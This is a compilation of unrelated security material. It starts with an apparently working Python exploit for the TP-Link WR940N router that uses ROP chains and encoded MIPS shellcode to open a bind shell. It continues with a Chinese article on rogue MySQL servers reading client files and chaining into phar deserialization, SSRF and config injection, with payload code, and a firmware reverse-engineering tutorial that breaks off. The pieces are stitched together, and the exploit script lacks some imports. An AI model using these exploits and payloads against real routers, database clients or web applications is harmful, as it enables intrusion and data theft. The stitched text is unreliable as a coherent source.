from optparse import *
import sys
import urllib
banner = (
"___________________________________________________________________________\n"
"WR940N Authenticated Remote Code Exploit\n"
"This exploit will open a bind shell on the remote target\n"
"The port is 31337, you can change that in the code if you wish\n"
"This exploit requires authentication, if you know the creds, then\n"
"use the -u -p options, otherwise default is admin:admin\n"
"___________________________________________________________________________"
)
def login(ip, user, pwd):
print "[+] Attempting to login to http://%s %s:%s"%(ip,user,pwd)
#### Generate the auth cookie of the form b64enc('admin:' + md5('admin'))
hash = hashlib.md5()
hash.update(pwd)
auth_string = "%s:%s" %(user, hash.hexdigest())
encoded_string = base64.b64encode(auth_string)
print "[+] Encoded authorisation: %s" %encoded_string#### Send the request
url = "http://" + ip + "/userRpm/LoginRpm.htm?Save=Save"
print "[+] sending login to " + url
req = urllib2.Request(url)
req.add_header('Cookie', 'Authorization=Basic %s' %encoded_string)
resp = urllib2.urlopen(req)
#### The server generates a random path for further requests, grab that here
data = resp.read()
next_url = "http://%s/%s/userRpm/" %(ip, data.split("/")[3])
print "[+] Got random path for next stage, url is now %s" %next_url
return (next_url, encoded_string)
#custom bind shell shellcode with very simple xor encoder
#followed by a sleep syscall to flush cash before running
#bad chars = 0x20, 0x00
shellcode = (
#encoder
"\x22\x51\x44\x44\x3c\x11\x99\x99\x36\x31\x99\x99"
"\x27\xb2\x05\x4b" #0x27b2059f for first_exploit
"\x22\x52\xfc\xa0\x8e\x4a\xfe\xf9"
"\x02\x2a\x18\x26\xae\x43\xfe\xf9\x8e\x4a\xff\x41"
"\x02\x2a\x18\x26\xae\x43\xff\x41\x8e\x4a\xff\x5d"
"\x02\x2a\x18\x26\xae\x43\xff\x5d\x8e\x4a\xff\x71"
"\x02\x2a\x18\x26\xae\x43\xff\x71\x8e\x4a\xff\x8d"
"\x02\x2a\x18\x26\xae\x43\xff\x8d\x8e\x4a\xff\x99"
"\x02\x2a\x18\x26\xae\x43\xff\x99\x8e\x4a\xff\xa5"
"\x02\x2a\x18\x26\xae\x43\xff\xa5\x8e\x4a\xff\xad"
"\x02\x2a\x18\x26\xae\x43\xff\xad\x8e\x4a\xff\xb9"
"\x02\x2a\x18\x26\xae\x43\xff\xb9\x8e\x4a\xff\xc1"
"\x02\x2a\x18\x26\xae\x43\xff\xc1"
#sleep
"\x24\x12\xff\xff\x24\x02\x10\x46\x24\x0f\x03\x08"
"\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa"
"\x27\xa4\xfb\xfa\x01\x01\x01\x0c\x21\x8c\x11\x5c"
################ encoded shellcode ###############
"\x27\xbd\xff\xe0\x24\x0e\xff\xfd\x98\x59\xb9\xbe\x01\xc0\x28\x27\x28\x06"
"\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\x23\x39\x44\x44\x30\x50\xff\xff"
"\x24\x0e\xff\xef\x01\xc0\x70\x27\x24\x0d"
"\x7a\x69" #<————————- PORT 0x7a69 (31337)
"\x24\x0f\xfd\xff\x01\xe0\x78\x27\x01\xcf\x78\x04\x01\xaf\x68\x25\xaf\xad"
"\xff\xe0\xaf\xa0\xff\xe4\xaf\xa0\xff\xe8\xaf\xa0\xff\xec\x9b\x89\xb9\xbc"
"\x24\x0e\xff\xef\x01\xc0\x30\x27\x23\xa5\xff\xe0\x24\x02\x10\x49\x01\x01"
"\x01\x0c\x24\x0f\x73\x50"
"\x9b\x89\xb9\xbc\x24\x05\x01\x01\x24\x02\x10\x4e\x01\x01\x01\x0c\x24\x0f"
"\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02\x10\x48"
"\x01\x01\x01\x0c\x24\x0f\x73\x50\x30\x50\xff\xff\x9b\x89\xb9\xbc\x24\x0f"
"\xff\xfd\x01\xe0\x28\x27\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f\x73\x50"
"\x9b\x89\xb9\xbc\x28\x05\x01\x01\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f"
"\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\xbd\x9b\x96\x46\x01\x01\x01\x0c"
"\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce"
"\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8"
"\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c\x24\x02"
"\x10\x46\x24\x0f\x03\x68\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa"
"\x27\xa4\xfb\xfe\x01\x01\x01\x0c\x21\x8c\x11\x5c"
)
###### useful gadgets #######
nop = "\x22\x51\x44\x44"
gadg_1 = "\x2A\xB3\x7C\x60" # set $a0 = 1, and jmp $s1
gadg_2 = "\x2A\xB1\x78\x40"
sleep_addr = "\x2a\xb3\x50\x90"
stack_gadg = "\x2A\xAF\x84\xC0"
call_code = "\x2A\xB2\xDC\xF0"
def first_exploit(url, auth):
# trash $s1 $ra
rop = "A"*164 + gadg_2 + gadg_1 + "B"*0x20 + sleep_addr + "C"*4
rop += "C"*0x1c + call_code + "D"*4 + stack_gadg + nop*0x20 + shellcode
params = {'ping_addr': rop, 'doType': 'ping', 'isNew': 'new', 'sendNum': '20', 'pSize': '64', 'overTime': '800', 'trHops': '20'}
new_url = url + "PingIframeRpm.htm?" + urllib.urlencode(params)
print "[+] sending exploit…"
print "[+] Wait a couple of seconds before connecting"
print "[+] When you are finished do http -r to reset the http service"
req = urllib2.Request(new_url)
req.add_header('Cookie', 'Authorization=Basic %s' %auth)
req.add_header('Referer', url + "DiagnosticRpm.htm")
resp = urllib2.urlopen(req)
def second_exploit(url, auth):
url = url + "WanStaticIpV6CfgRpm.htm?"
# trash s0 s1 s2 s3 s4 ret shellcode
payload = "A"*111 + "B"*4 + gadg_2 + "D"*4 + "E"*4 + "F"*4 + gadg_1 + "a"*0x1c
payload += "A"*4 + sleep_addr + "C"*0x20 + call_code + "E"*4
payload += stack_gadg + "A"*4 + nop*10 + shellcode + "B"*7
print len(payload)
params = {'ipv6Enable': 'on', 'wantype': '2', 'ipType': '2', 'mtu': '1480', 'dnsType': '1',
'dnsserver2': payload, 'ipAssignType': '0', 'ipStart': '1000',
'ipEnd': '2000', 'time': '86400', 'ipPrefixType': '0', 'staticPrefix': 'AAAA',
'staticPrefixLength': '64', 'Save': 'Save', 'RenewIp': '1'}
new_url = url + urllib.urlencode(params)
print "[+] sending exploit…"
print "[+] Wait a couple of seconds before connecting"
print "[+] When you are finished do http -r to reset the http service"
req = urllib2.Request(new_url)
req.add_header('Cookie', 'Authorization=Basic %s' %auth)
req.add_header('Referer', url + "WanStaticIpV6CfgRpm.htm")
resp = urllib2.urlopen(req)
if __name__ == '__main__':
print banner
username = "admin"
password = "admin"
(next_url, encoded_string) = login("192.168.0.1", username, password)
###### Both exploits result in the same bind shell ######
#first_exploit(data[0], data[1])
first_exploit(next_url, encoded_string)
参考链接：
<https://www.fidusinfosec.com/tp-link-remote-code-execution-cve-2017-13772/> | 社区文章 |
# CSS-T | Mysql Client 任意文件读取攻击链拓展
##### 译文声明
本文是翻译文章，文章原作者 seebug，文章来源：paper.seebug.org
原文地址：<https://paper.seebug.org/1112/>
译文仅供参考，具体内容表达以及含义原文为准。
作者：LoRexxar@知道创宇404实验室 & Dawu@知道创宇404实验室
> 这应该是一个很早以前就爆出来的漏洞，而我见到的时候是在TCTF2018 final线下赛的比赛中，是被 Dragon Sector 和 Cykor
> 用来非预期h4x0r’s club这题的一个技巧。<http://russiansecurity.expert/2016/04/20/mysql-> connect-file-> read/>在后来的研究中，和@Dawu的讨论中顿时觉得这应该是一个很有趣的trick，在逐渐追溯这个漏洞的过去的过程中，我渐渐发现这个问题作为mysql的一份feature存在了很多年，从13年就有人分享这个问题。
>
> * [Database Honeypot by design (2013 8月 Presentation from Yuri
> Goltsev)](https://www.slideshare.net/qqlan/database-honeypot-by-> design-25195927)
> * [Rogue-MySql-Server Tool (2013年 9月 MySQL fake server to read files of
> connected clients)](https://github.com/Gifts/Rogue-MySql-Server)
> * [Abusing MySQL LOCAL INFILE to read client files
> (2018年4月23日)](https://w00tsec.blogspot.com/2018/04/abusing-mysql-local-> infile-to-read.html)
>
>
> 在围绕这个漏洞的挖掘过程中，我们不断地发现新的利用方式，所以将其中大部分的发现都总结并准备了议题在CSS上分享，下面让我们来一步步分析。
## Load data infile
load data
infile是一个很特别的语法，熟悉注入或者经常打CTF的朋友可能会对这个语法比较熟悉，在CTF中，我们经常能遇到没办法load_file读取文件的情况，这时候唯一有可能读到文件的就是load
data infile，一般我们常用的语句是这样的：
load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
mysql
server会读取服务端的/etc/passwd然后将数据按照’\n’分割插入表中，但现在这个语句同样要求你有FILE权限，以及非local加载的语句也受到secure_file_priv的限制
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
如果我们修改一下语句，加入一个关键字local。
mysql> load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
Query OK, 11 rows affected, 11 warnings (0.01 sec)
Records: 11 Deleted: 0 Skipped: 0 Warnings: 11
加了local之后，这个语句就成了，读取客户端的文件发送到服务端，上面那个语句执行结果如下
很显然，这个语句是不安全的，在mysql的文档里也充分说明了这一点
<https://dev.mysql.com/doc/refman/8.0/en/load-data-local.html>
在mysql文档中的说到，服务端可以要求客户端读取有可读权限的任何文件。
mysql认为客户端不应该连接到不可信的服务端。
我们今天的这个问题，就是围绕这个基础展开的。
## 构造恶意服务端
在思考明白了前面的问题之后，核心问题就成了，我们怎么构造一个恶意的mysql服务端。
在搞清楚这个问题之前，我们需要研究一下mysql正常执行链接和查询的数据包结构。
1、greeting包，服务端返回了banner，其中包含mysql的版本
2、客户端登录请求
3、然后是初始化查询，这里因为是phpmyadmin所以初始化查询比较多
4、load file local
由于我的环境在windows下，所以这里读取为C:/Windows/win.ini，语句如下
load data local infile "C:/Windows/win.ini" into table test FIELDS TERMINATED BY '\n';
首先是客户端发送查询
然后服务端返回了需要的路径
然后客户端直接把内容发送到了服务端
看起来流程非常清楚，而且客户端读取文件的路径并不是从客户端指定的，而是发送到服务端，服务端制定的。
原本的查询流程为
客户端：我要把win.ini插入test表中
服务端：我要你的win.ini内容
客户端：win.ini的内容如下....
假设服务端由我们控制，把一个正常的流程篡改成如下
客户端：我要test表中的数据
服务端：我要你的win.ini内容
客户端：win.ini的内容如下???
上面的第三句究竟会不会执行呢？
让我们回到[mysql的文档](https://dev.mysql.com/doc/refman/8.0/en/load-data-local.html)中，文档中有这么一句话：
服务端可以在任何查询语句后回复文件传输请求，也就是说我们的想法是成立的
在深入研究漏洞的过程中，不难发现这个漏洞是否成立在于Mysql
client端的配置问题，而经过一番研究，我发现在mysql登录验证的过程中，会发送客户端的配置。
在greeting包之后，客户端就会链接并试图登录，同时数据包中就有关于是否允许使用load data
local的配置，可以从这里直白的看出来客户端是否存在这个问题（这里返回的客户端配置不一定是准确的，后面会提到这个问题）。
## poc
在想明白原理之后，构建恶意服务端就变得不那么难了，流程很简单 1.回复mysql client一个greeting包 2.等待client端发送一个查询包
3.回复一个file transfer包
这里主要是构造包格式的问题，可以跟着原文以及各种文档完成上述的几次查询.
值得注意的是，原作者给出的poc并没有适配所有的情况，部分mysql客户端会在登陆成功之后发送ping包，如果没有回复就会断开连接。也有部分mysql
client端对greeting包有较强的校验，建议直接抓包按照真实包内容来构造。
* <https://dev.mysql.com/doc/internals/en/connection-phase-packets.html#packet-Protocol::Handshake>
* <https://dev.mysql.com/doc/internals/en/com-query-response.html>
原作者给出的poc
<https://github.com/Gifts/Rogue-MySql-Server>
## 演示
这里用了一台腾讯云做服务端，客户端使用phpmyadmin连接
我们成功读取了文件。
## 影响范围
### 底层应用
在这个漏洞到底有什么影响的时候，我们首先必须知道到底有什么样的客户端受到这个漏洞的威胁。
* mysql client (pwned)
* php mysqli (pwned，fixed by 7.3.4)
* php pdo (默认禁用)
* python MySQLdb (pwned)
* python mysqlclient (pwned)
* java JDBC Driver (pwned，部分条件下默认禁用)
* navicat （pwned)
探针在深入挖掘这个漏洞的过程中，第一时间想到的利用方式就是mysql探针，但可惜的是，在测试了市面上的大部分探针后发现大部分的探针连接之后只接受了greeting包就断开连接了，没有任何查询，尽职尽责。
* 雅黑PHP探针 失败
* iprober2 探针 失败
* PHP探针 for LNMP一键安装包 失败
* UPUPW PHP 探针 失败
* …
云服务商 云数据库 数据迁移服务国内
* 腾讯云 DTS 失败，禁用Load data local
* 阿里云 RDS 数据迁移失败，禁用Load data local
* 华为云 RDS DRS服务 成功
* 京东云 RDS不支持远程迁移功能，分布式关系数据库未开放
* UCloud RDS不支持远程迁移功能，分布式关系数据库不能对外数据同步
* QiNiu云 RDS不支持远程迁移功能
* 新睿云 RDS不支持远程迁移功能
* 网易云 RDS 外部实例迁移 成功
* 金山云 RDS DTS数据迁移 成功
* 青云Cloud RDS 数据导入 失败，禁用load data local
* 百度Cloud RDS DTS 成功
国际云服务商
* Google could SQL数据库迁移失败，禁用Load data infile
* AWS RDS DMS服务 成功
Excel online
sql查询之前的一篇文章中提到过，在Excel中一般有这样一个功能，从数据库中同步数据到表格内，这样一来就可以通过上述方式读取文件。
受到这个思路的启发，我们想到可以找online的excel的这个功能，这样就可以实现任意文件读取了。
* WPS failed（没找到这个功能）
* Microsoft excel failed（禁用了infile语句）
* Google 表格 （原生没有这个功能，但却支持插件，下面主要说插件）
* Supermetrics pwned
- Advanced CFO Solutions MySQL Query failed
- SeekWell failed
- Skyvia Query Gallery failed
- database Borwser failed
- Kloudio pwned
##
### 拓展？2RCE！
抛开我们前面提的一些很特殊的场景下，我们也要讨论一些这个漏洞在通用场景下的利用攻击链。
既然是围绕任意文件读取来讨论，那么最能直接想到的一定是有关配置文件的泄露所导致的漏洞了。
任意文件读 with 配置文件泄露在Discuz x3.4的配置中存在这样两个文件
config/config_ucenter.php
config/config_global.php
在dz的后台，有一个ucenter的设置功能，这个功能中提供了ucenter的数据库服务器配置功能，通过配置数据库链接恶意服务器，可以实现任意文件读取获取配置信息。
配置ucenter的访问地址。
原地址： http://localhost:8086/upload/uc_server
修改为： http://localhost:8086/upload/uc_server\');phpinfo();//
当我们获得了authkey之后，我们可以通过admin的uid以及盐来计算admin的cookie。然后用admin的cookie以及UC_KEY来访问即可生效
任意文件读 to 反序列化2018年BlackHat大会上的Sam Thomas分享的File Operation Induced
Unserialization via the “phar://” Stream
Wrapper议题，原文[https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf
](https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf)。
在该议题中提到，在PHP中存在一个叫做[Stream
API](https://secure.php.net/manual/zh/internals2.ze1.streams.php)，通过注册拓展可以注册相应的伪协议，而phar这个拓展就注册了phar://这个stream
wrapper。
在我们知道创宇404实验室安全研究员seaii曾经的研究(<https://paper.seebug.org/680/>)中表示，所有的文件函数都支持stream
wrapper。
深入到函数中，我们可以发现，可以支持steam wrapper的原因是调用了
stream = php_stream_open_wrapper_ex(filename, "rb" ....);
从这里，我们再回到mysql的load file local语句中，在mysqli中，mysql的读文件是通过php的函数实现的
https://github.com/php/php-src/blob/master/ext/mysqlnd/mysqlnd_loaddata.c#L43-L52
if (PG(open_basedir)) {
if (php_check_open_basedir_ex(filename, 0) == -1) {
strcpy(info->error_msg, "open_basedir restriction in effect. Unable to open file");
info->error_no = CR_UNKNOWN_ERROR;
DBG_RETURN(1);
}
}
info->filename = filename;
info->fd = php_stream_open_wrapper_ex((char *)filename, "r", 0, NULL, context);
也同样调用了php_stream_open_wrapper_ex函数，也就是说，我们同样可以通过读取phar文件来触发反序列化。
### 复现
首先需要一个生成一个phar
pphar.php
<?php
class A {
public $s = '';
public function __wakeup () {
echo "pwned!!";
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a "."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new A();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
使用该文件生成一个phar.phar
然后我们模拟一次查询
test.php
<?php
class A {
public $s = '';
public function __wakeup () {
echo "pwned!!";
}
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, '{evil_mysql_ip}', 'root', '123456', 'test', 3667);
$p = mysqli_query($m, 'select 1;');
// file_get_contents('phar://./phar.phar');
图中我们只做了select 1查询，但我们伪造的evil mysql server中驱使mysql client去做load file
local查询，读取了本地的
phar://./phar.phar
成功触发反序列化
### 反序列化 to RCE
当一个反序列化漏洞出现的时候，我们就需要从源代码中去寻找合适的pop链，建立在pop链的利用基础上，我们可以进一步的扩大反序列化漏洞的危害。
php序列化中常见的魔术方法有以下 – 当对象被创建的时候调用：construct – 当对象被销毁的时候调用：destruct –
当对象被当作一个字符串使用时候调用：toString – 序列化对象之前就调用此方法(其返回需要是一个数组)：sleep –
反序列化恢复对象之前就调用此方法：wakeup – 当调用对象中不存在的方法会自动调用此方法：call
配合与之相应的pop链，我们就可以把反序列化转化为RCE。
### dedecms 后台反序列化漏洞 to SSRF
dedecms 后台，模块管理，安装UCenter模块。开始配置
首先需要找一个确定的UCenter服务端，可以通过找一个dz的站来做服务端。
然后就会触发任意文件读取，当然，如果读取文件为phar，则会触发反序列化。
我们需要先生成相应的phar
<?php
class Control
{
var $tpl;
// $a = new SoapClient(null,array('uri'=>'http://example.com:5555', 'location'=>'http://example.com:5555/aaa'));
public $dsql;
function __construct(){
$this->dsql = new SoapClient(null,array('uri'=>'http://xxxx:5555', 'location'=>'http://xxxx:5555/aaa'));
}
function __destruct() {
unset($this->tpl);
$this->dsql->Close(TRUE);
}
}
@unlink("dedecms.phar");
$phar = new Phar("dedecms.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub，增加gif文件头
$o = new Control();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
然后我们可以直接通过前台上传头像来传文件，或者直接后台也有文件上传接口，然后将rogue mysql server来读取这个文件
phar://./dedecms.phar/test.txt
监听5555可以收到
ssrf进一步可以攻击redis等拓展攻击面，就不多说了。
部分CMS测试结果
CMS名 | 影响版本 | 是否存在mysql任意文件读取 | 是否有可控的MySQL服务器设置 | 是否有可控的反序列化 | 是否可上传phar | 补丁
---|---|---|---|---|---|---
phpmyadmin | < 4.8.5 | 是 | 是 | 是 | 是 |
[补丁](https://github.com/phpmyadmin/phpmyadmin/commit/828f740158e7bf14aa4a7473c5968d06364e03a2)
Dz | 未修复 | 是 | 是 | 否 | None | None
drupal | None | 否(使用PDO) | 否(安装) | 是 | 是 | None
dedecms | None | 是 | 是(ucenter) | 是(ssrf) | 是 | None
ecshop | None | 是 | 是 | 否 | 是 | None
禅道 | None | 否(PDO) | 否 | None | None | None
phpcms | None | 是 | 是 | 是(ssrf) | 是 | None
帝国cms | None | 是 | 是 | 否 | None | None
phpwind | None | 否(PDO) | 是 | None | None | None
mediawiki | None | 是 | 否（后台没有修改mysql配置的方法） | 是 | 是 | None
Z-Blog | None | 是 | 否（后台没有修改mysql配置的方法） | 是 | 是 | None
## 修复方式
对于大多数mysql的客户端来说，load file
local是一个无用的语句，他的使用场景大多是用于传输数据或者上传数据等。对于客户端来说，可以直接关闭这个功能，并不会影响到正常的使用。
具体的关闭方式见文档 – <https://dev.mysql.com/doc/refman/8.0/en/load-data-local.html>
对于不同服务端来说，这个配置都有不同的关法，对于JDBC来说，这个配置叫做allowLoadLocalInfile
* <https://dev.mysql.com/doc/connector-j/5.1/en/connector-j-reference-configuration-properties.html>
在php的mysqli和mysql两种链接方式中，底层代码直接决定了这个配置。
这个配置是PHP_INI_SYSTEM，在php的文档中，这个配置意味着Entry can be set in php.ini or httpd.conf。
所以只有在php.ini中修改mysqli.allow_local_infile = Off就可以修复了。
在php7.3.4的更新中，mysqli中这个配置也被默认修改为关闭
<https://github.com/php/php-src/commit/2eaabf06fc5a62104ecb597830b2852d71b0a111#diff-904fc143c31bb7dba64d1f37ce14a0f5>
可惜在不再更新的旧版本mysql5.6中，无论是mysql还是mysqli默认都为开启状态。
现在的代码中也可以通过mysqli_option，在链接前配置这个选项。
<http://php.net/manual/zh/mysqli.options.php>
比较有趣的是，通过这种方式修复，虽然禁用了allow_local_infile，但是如果使用wireshark抓包却发现allow_local_infile仍是启动的（但是无效）。
在旧版本的phpmyadmin中，先执行了mysqli_real_connect，然后设置mysql_option，这样一来allow_local_infile实际上被禁用了，但是在发起链接请求时中allow_local_infile还没有被禁用。
实际上是因为mysqli_real_connect在执行的时候，会初始化allow_local_infile。在php代码底层mysqli_real_connect实际是执行了mysqli_common_connect。而在mysqli_common_connect的代码中，设置了一次allow_local_infile。
<https://github.com/php/php-src/blob/ca8e2abb8e21b65a762815504d1fb3f20b7b45bc/ext/mysqli/mysqli_nonapi.c#L251>
如果在mysqli_real_connect之前设置mysql_option，其allow_local_infile的配置会被覆盖重写，其修改就会无效。
phpmyadmin在1月22日也正是通过交换两个函数的相对位置来修复了该漏洞。<https://github.com/phpmyadmin/phpmyadmin/commit/c5e01f84ad48c5c626001cb92d7a95500920a900#diff-cd5e76ab4a78468a1016435eed49f79f>
## 说在最后
这是一个针对mysql
feature的攻击模式，思路非常有趣，就目前而言在mysql层面没法修复，只有在客户端关闭了这个配置才能避免印象。虽然作为攻击面并不是很广泛，但可能针对一些特殊场景的时候，可以特别有效的将一个正常的功能转化为任意文件读取，在拓展攻击面上非常的有效。
详细的攻击场景这里就不做假设了，危害还是比较大的。
## REF
* <http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/>
* <https://lightless.me/archives/read-mysql-client-file.html>
* <https://dev.mysql.com/doc/refman/8.0/en/load-data.html>
* <https://dev.mysql.com/doc/refman/8.0/en/load-data.html> | 社区文章 |
作者：威努特工控安全
公众号：[威努特工控安全](https://mp.weixin.qq.com/s/OS4ESfOACW9lhjxzt7B9xw "威努特工控安全")
工控漏洞挖掘方法有很多种，常见的方法包括：基于工控协议的模糊测试漏洞挖掘方法、基于固件逆向分析的漏洞挖掘方法、基于工控软件ActiveX控件的漏洞挖掘方法、基于VxWorks操作系统的漏洞挖掘方法等。
本文将重点论述固件逆向分析方法，同时结合实际案例来讲解逆向分析过程中遇到的关键问题及解决方法。
#### 1、固件逆向分析方法
固件逆向分析方法是在不对嵌入式系统进行实际运行的情况下，通过对固件文件进行逆向解析，分析固件中各代码模块的调用关系及代码内容，从而发现嵌入式系统中可能存在的漏洞及后门的一种技术手段。
在固件逆向分析的过程中，将会涉及到固件的识别和解压、固件的静态分析等技术。
##### 1.1、固件的识别和解压
固件的识别和解压，可以借用一些成熟的工具软件，如：Binwalk、BAT（Binary Analysis
Toolkit）等。Binwalk和BAT均为比较流行的固件映像提取和分析工具。Binwalk以MIT License发布，BAT以GPL
License发布。它们支持的固件映像解压格式对比表如下：
表1. Binwalk和BAT支持的固件解压格式对比
对于常见的嵌入式设备固件可以使用Binwalk或BAT来解压并提取固件文件。对于无法自动解压的固件，可以尝试以下方法分析：
1. 使用文件分析工具获得固件映像文件的基本数据类型。
2. 使用字符串打印工具提取文件中所包含的明码字段，寻找是否有引导装载程序以及操作系统内核的信息。
3. 使用十六进制转储工具（如hexdump）分析为了对齐固件文件空间分段而放入的连续填充字节，文件系统标识有可能紧跟其后。
4. 文件系统有可能使用非标准的特征符，如果发现可疑特征符字段，可以替换为标准特征符，再尝试由固件解压工具进行识别。
##### 1.2、固件的静态分析
固件解压之后的分析主要集中在对常见漏洞入口进行针对性的静态分析，包括：密码、默认开启的服务、端口、配置文件等。
分析方法如下：
1）尝试提取文件中包含的明码字段是否存在硬编码密码等。
2）发掘固件的关联性，包括分析固件作者、库使用、目录结构、配置文件关键字、定制默认密码等信息。
3）对二进制可执行文件进行反汇编分析，可以借用一些成熟的工具软件，如：IDA
Pro、Capstone等。对特定的嵌入式系统（如VxWorks）的登录模块进行反汇编分析，获取其登录密码的哈希算法等信息。
IDA Pro是应用最广泛的静态反汇编工具，它支持对大量的CPU架构进行逆向分析，包括X86、MIPS、PowerPC及Arm等。
Capstone是一个反汇编框架，它支持多种平台，能够运行在Windows、Mac OS X、Linux、
FreeBSD、OpenBSD和Solaris中。Capstone可反汇编ARM、ARM64 (ARMv8)、MIPS、PPC和X86架构下的应用。
4）如果发现包含密码哈希的文件，可考虑使用John the Ripper或Hash
Suite等工具进行暴力破解。前者有版本支持GPU加速（支持CUDA和OpenCL）。使用暴力破解工具可以利用前述步骤中提取的关键字，显著加快运行效率。
#### 2、固件逆向分析案例
本文将针对施耐德NOE 771固件进行逆向分析，NOE
771是施耐德Quantum系列PLC的以太网模块，Quantum系列PLC是施耐德的高端PLC，应用在我国核心能源调度网络系统中，如：西气东输的区域子段SCADA系统。
在分析过程中，我们将重点论述固件的识别和解压、固件加载地址提取和固件反汇编代码中的函数名修复等关键技术。
##### 2.1、施耐德NOE 771固件逆向分析
###### 2.1.1、固件的识别和解压
1）固件升级包的获取
我们可以从施耐德官方网站下载固件升级包，从该升级包中提取固件文件。NOE 771的固件文件名为NOE77101.bin。
2）固件的识别和解压
首先，使用Binwalk来确认该文件的压缩类型，发现为zlib类型，如图1所示。
图1. 固件压缩类型分析
其次，使用Binwalk提取zlib压缩的文件，如图2所示。解压后的文件385存储在`_NOE77101.bin.extracted`目录中，并以文件在固件升级包中的起始位置来命名。
图2. NOE77101.bin文件解压
接着，使用Binwalk对385文件进行分析，发现固件中的一些路径名、操作系统版本和符号表地址等关键信息。该固件的操作系统版本是VxWorks
2.5，可以结合VxWorks的源码来进行逆向分析。该固件的符号表地址如图4所示，符号表可以用来修复反汇编代码中的函数名，详见2.1.3节论述。
图3. 385文件解压
图4. 解压后发现操作系统版本和符号表地址
###### 2.1.2、固件加载地址提取
由于嵌入式系统的固件需要加载到内存中的特定位置进行运行，这个特定的位置叫做固件加载地址（base address）。
嵌入式系统固件的函数调用地址是基于固件加载地址所计算出的内存位置，而不是固件中的偏移量位置。
因此，为了使反汇编工具软件（如IDA Pro）能够正确的分析函数调用关系，我们需要分析出固件加载地址，否则所有的函数调用关系都将是错误的。
针对使用ELF封装的固件文件，在ELF文件的头部有特定的数据位记录了该固件的加载地址，因此我们可以直接读取ELF文件头，从而直接获取到固件的加载地址。
如果固件没有使用任何封装，那么就需要对固件的代码进行逆向，从而分析出固件的加载地址。这个方法比较复杂，针对不同的嵌入式系统及CPU架构都有区别。
针对NOE771的固件，我们将通过分析固件头部的代码调用来大致猜测固件的加载地址。
1）获取CPU架构，选择正确的反汇编引擎
首先，使用Binwalk - A命令来获取目标固件的CPU架构等信息，该信息有助于选择正确的反汇编引擎，如图5所示目标固件的CPU架构为PowerPC
big endian。
图5. 获取固件的CPU架构
其次，使用IDA Pro加载PowerPC big endian架构的反汇编引擎进行分析。
图6. 选择IDA Pro的反汇编引擎
2）分析固件加载地址，进行正确的反汇编
当未修改固件加载地址时，IDA Pro仅仅分析出了极少数的函数，如图7所示。
图7. 未修改加载地址时IDA Pro分析的函数
通过对固件头上的代码进行分析后（往往很耗时），可以发现在0x09f8的位置有一段非常可疑的函数调用。该函数调用地址为一个偏移量0x339AB8+一个绝对地址0x10000，有相当大的可能0x10000就是我们所需要的固件加载地址。
图8.固件加载地址分析和提取
现在我们需要验证0x10000是否是我们真正的固件加载地址。重新使用IDA Pro加载固件文件，并按照下图进行配置。配置完成后，IDA
Pro能够正常的分析固件的函数调用关系。
图9.重新配置固件加载地址
###### 2.1.3、固件反汇编代码中的函数名修复
上一节，IDA Pro虽然成功分析出了函数的调用关系，但是尚无法自动识别出函数名，这对我们的进一步分析造成了很大的阻碍。
因此，我们需要查看固件是否包含了符号表。如包含了符号表，就可以利用符号表中的内容，来修复IDA Pro中所显示的函数名。
1）获取符号表在固件中的位置
VxWorks系统的符号表包含了函数及函数名的对应关系，因此我们的第一步是要找到符号表在固件中的位置。之前使用Binwalk分析固件时，已经发现了固件中的符号表位置为0x301E74。
图10.获取符号表在固件中的位置
2）确定符号表的起始及结束地址
在获取了符号表在固件中的位置后，我们可以使用16进制编辑器对固件进行查看，从而确认Binwalk分析出的地址是否正确。
VxWorks系列的字节排序有独特的格式，以16个字节为一组数据，前4个字节是函数名的内存地址，后4个字节是函数的内存位置，然后以另4个特征字节数据+4个字节0x00结尾。
通过查看Binwalk分析出的地址位置可见，这个地址的确是符号表，0x27655C是函数名所在的内存地址，0x1FF058是函数的内存位置。
由于符号表有自己的特征，因此能够通过遍历的方式快速的锁定符号表的起始及结束地址。我们所测试的固件的符号表起始地址为0x301e64+0x10000，结束地址为0x3293a4+0x10000。
图11.确定符号表的起始及结束地址
3）编写脚本插件修复函数名
在得到了符号表的位置后，我们需要使用IDA Pro的API来修复函数名，这里将使用如下的Python脚本。
图12.编写脚本插件修复函数名
4）运行脚本插件修复反汇编代码中的函数名
在IDA Pro中运行Python脚本，如下图所示。
图13.运行脚本插件修复函数名
脚本执行完毕后，IDA Pro中的函数名，如下图所示。
图14.修复函数名后的IDA Pro反汇编界面
##### 2.2、施耐德NOE 771后门账号分析
